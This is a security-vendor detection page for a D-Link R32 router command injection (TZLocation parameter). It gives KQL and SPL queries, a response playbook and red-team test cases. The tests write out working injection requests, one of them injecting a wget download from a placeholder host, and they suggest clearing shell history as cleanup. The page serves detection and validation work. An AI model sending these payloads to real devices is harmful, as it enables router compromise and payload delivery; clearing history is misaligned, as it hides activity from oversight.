Skip to content
CVE-2026-136821 Microsoft Sentinel · KQL

Detect D-Link R32 DHMAPI SetTimeSettings TZLocation OS Command Injection (CVE-2026-136821) in Microsoft Sentinel

Detects exploitation of CVE-2026-136821, an OS command injection vulnerability in the SetTimeSettings function of the DHMAPI Action Handler on D-Link R32 1.10B02 routers. The TZLocation parameter is passed unsanitized into a shell context, letting an attacker inject arbitrary operating-system commands (CWE-77/CWE-78) via crafted HTTP requests to the DHMAPI endpoint. CVSS 8.6. A public exploit exists. This detection surfaces anomalous HTTP POST/GET activity to the DHMAPI action handler containing shell metacharacters in the TZLocation parameter, plus downstream indicators of command execution from the embedded web process.

Based on D-Link R32 A1 1.10B02 SetTimeSettings TZLocation OS Command Injection write-up

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-06a4432189 · https://df00tech.com/detections/CVE-2026-136821 · licence: https://df00tech.com/detections/licence
let shellMeta = dynamic([";", "|", "&", "`", "$(", "${", "&&", "||", "%3B", "%7C", "%26", "%60"]);
let dhmapiHits = CommonSecurityLog
| where DeviceVendor in ("D-Link", "Fortinet", "Palo Alto Networks", "Zscaler") or isnotempty(RequestURL)
| where RequestURL has_any ("DHMAPI", "SetTimeSettings")
| extend DecodedURL = url_decode(RequestURL)
| where DecodedURL has "TZLocation"
| where DecodedURL has_any (";", "|", "&", "`", "$(", "${")
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, DecodedURL, RequestMethod, DeviceVendor;
dhmapiHits
| union (
    Syslog
    | where SyslogMessage has_any ("DHMAPI", "SetTimeSettings")
    | where SyslogMessage has "TZLocation"
    | where SyslogMessage has_any (";", "|", "`", "$(")
    | project TimeGenerated, SourceIP=HostIP, Computer, SyslogMessage
)
critical severity medium confidence

Identifies HTTP requests to the D-Link DHMAPI SetTimeSettings handler where the TZLocation parameter carries shell metacharacters, across firewall/proxy logs (CommonSecurityLog) and router syslog.

Data Sources

Network Firewall LogsWeb Proxy LogsRouter Syslog

Required Tables

CommonSecurityLogSyslog

False Positives & Tuning

  • Legitimate administrators configuring the router time zone where the TZLocation value coincidentally contains an ampersand or similar character in a benign context
  • Security scanners and vulnerability assessment tools (e.g. Nessus, Nuclei) probing the DHMAPI endpoint during authorized testing
  • URL-encoding artifacts from nested proxies that double-encode benign query strings

Other platforms for CVE-2026-136821


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulate DHMAPI SetTimeSettings TZLocation command injection probe

    Expected signal: Firewall/proxy HTTP log entry showing a POST to /DHMAPI/ with TZLocation containing a semicolon and 'id' command.

  2. Test 2 URL-encoded TZLocation injection probe

    Expected signal: HTTP GET event with TZLocation=UTC%3Becho%20pwned captured in network/proxy logs.

  3. Test 3 Windows-based exploitation probe via PowerShell

    Expected signal: Outbound HTTP POST from the Windows host to the router with a weaponized TZLocation payload.


Response Playbook

Triage

  1. Confirm the destination IP is a D-Link R32 router running firmware 1.10B02 and whether its management/DHMAPI interface is reachable from the source network or the internet.
  2. URL-decode the captured TZLocation parameter and extract the injected command string; determine whether it is a benign scan probe (e.g. ';id', ';echo') or a weaponized payload (download, reverse shell, credential dump).
  3. Determine whether the source IP is internal, a known scanner, or an external/unexpected host, and check for repeated or sequential SetTimeSettings requests indicating automated exploitation.
  4. Review router syslog and firewall egress logs for outbound connections originating from the router immediately after the request, which would confirm successful command execution.

Containment

  1. Block the source IP at the perimeter firewall and restrict access to the router's DHMAPI/management interface to trusted management VLANs only.
  2. Isolate the affected router from the internet (disable WAN-side management) and, if command execution is confirmed, take the device offline pending firmware remediation or replacement.
  3. Disable remote administration on the device and rotate all router credentials once a clean state is established.

Evidence Collection

  1. Capture the full raw HTTP request(s) to DHMAPI SetTimeSettings including headers and the decoded TZLocation payload from firewall/proxy/packet-capture logs.
  2. Export router syslog, configuration backup, and any available process/connection telemetry for the time window around the request.
  3. Preserve firewall egress logs showing any outbound connections from the router to attacker infrastructure for IOC extraction.

Escalation Criteria

  • !Escalate to incident response if the injected TZLocation command is non-trivial (downloads a payload, opens a listener, or modifies configuration) or if outbound connections from the router follow the request.
  • !Escalate if multiple D-Link routers in the environment receive the same SetTimeSettings payload, indicating a campaign or worm-like propagation.
  • !Escalate to network/infrastructure owners if the router's management interface is found exposed to the internet.

Investigation Guide

Forensic Artifacts

  • >Router syslog entries referencing DHMAPI/SetTimeSettings and anomalous child processes spawned by the embedded web server (httpd/goahead).
  • >Firewall/proxy HTTP logs containing the TZLocation payload with shell metacharacters.
  • >Modified router configuration, cron/startup entries, or unexpected outbound network connections originating from the router.

Tuning Guidance

Baseline legitimate management source IPs and the normal TZLocation value set for your deployed routers; exclude authorized vulnerability scanners by source IP. If false positives arise from benign ampersands in query strings, tighten the regex to require TZLocation to be immediately followed by a metacharacter and a command-like token (e.g. TZLocation=...[;|&]\s*\w+). Prioritize alerts where the request originates from outside the management VLAN or where downstream outbound connections from the router follow the request.


Hunting Queries

Hunt for all DHMAPI SetTimeSettings requests carrying TZLocation with shell metacharacters, aggregated by source IP to spot scanning or exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-06a4432189 · https://df00tech.com/detections/CVE-2026-136821 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "DHMAPI" | extend d=url_decode(RequestURL) | where d has "TZLocation" and d has_any (";","|","`","$(") | summarize count() by SourceIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-06a4432189 · https://df00tech.com/detections/CVE-2026-136821 · licence: https://df00tech.com/detections/licence ```
index=network (uri="*DHMAPI*" OR _raw="*SetTimeSettings*") | eval d=urldecode(coalesce(uri,_raw)) | search d="*TZLocation*" | regex d="TZLocation[^&]*[;|`&]" | stats count by src_ip

Atomic Red Team Tests

Test 1 Simulate DHMAPI SetTimeSettings TZLocation command injection probe
linux

Sends a crafted HTTP request to a lab D-Link R32 (or mock endpoint) injecting a benign command into the TZLocation parameter of SetTimeSettings.

Command

bash
curl -s -X POST 'http://192.0.2.10/DHMAPI/' --data-urlencode 'action=SetTimeSettings' --data-urlencode 'TZLocation=UTC;id' -H 'Content-Type: application/x-www-form-urlencoded'

Cleanup

bash
echo 'No persistent artifacts created on tester; clear shell history if desired: history -c'

Expected Telemetry

Firewall/proxy HTTP log entry showing a POST to /DHMAPI/ with TZLocation containing a semicolon and 'id' command.

Expected Detection

The kql/spl/elastic queries match on DHMAPI + TZLocation + shell metacharacter.

Test 2 URL-encoded TZLocation injection probe
linux

Sends a GET request with URL-encoded shell metacharacters in the TZLocation parameter to test decoding-aware detection.

Command

bash
curl -s 'http://192.0.2.10/DHMAPI/?action=SetTimeSettings&TZLocation=UTC%3Becho%20pwned'

Cleanup

bash
history -c 2>/dev/null; true

Expected Telemetry

HTTP GET event with TZLocation=UTC%3Becho%20pwned captured in network/proxy logs.

Expected Detection

Detection matches via encoded metacharacter patterns (%3B/%7C/%60) or after url_decode.

Test 3 Windows-based exploitation probe via PowerShell
windows

Uses PowerShell on a Windows test host to issue the malicious SetTimeSettings request against the lab router.

Command

powershell
Invoke-WebRequest -Uri 'http://192.0.2.10/DHMAPI/' -Method POST -Body @{action='SetTimeSettings'; TZLocation='UTC;wget http://192.0.2.20/x'} -UseBasicParsing

Cleanup

powershell
Clear-History; Remove-Variable -Name response -ErrorAction SilentlyContinue

Expected Telemetry

Outbound HTTP POST from the Windows host to the router with a weaponized TZLocation payload.

Expected Detection

Detection matches on DHMAPI + TZLocation + shell metacharacters and flags the download-style payload as high priority.

Related Detections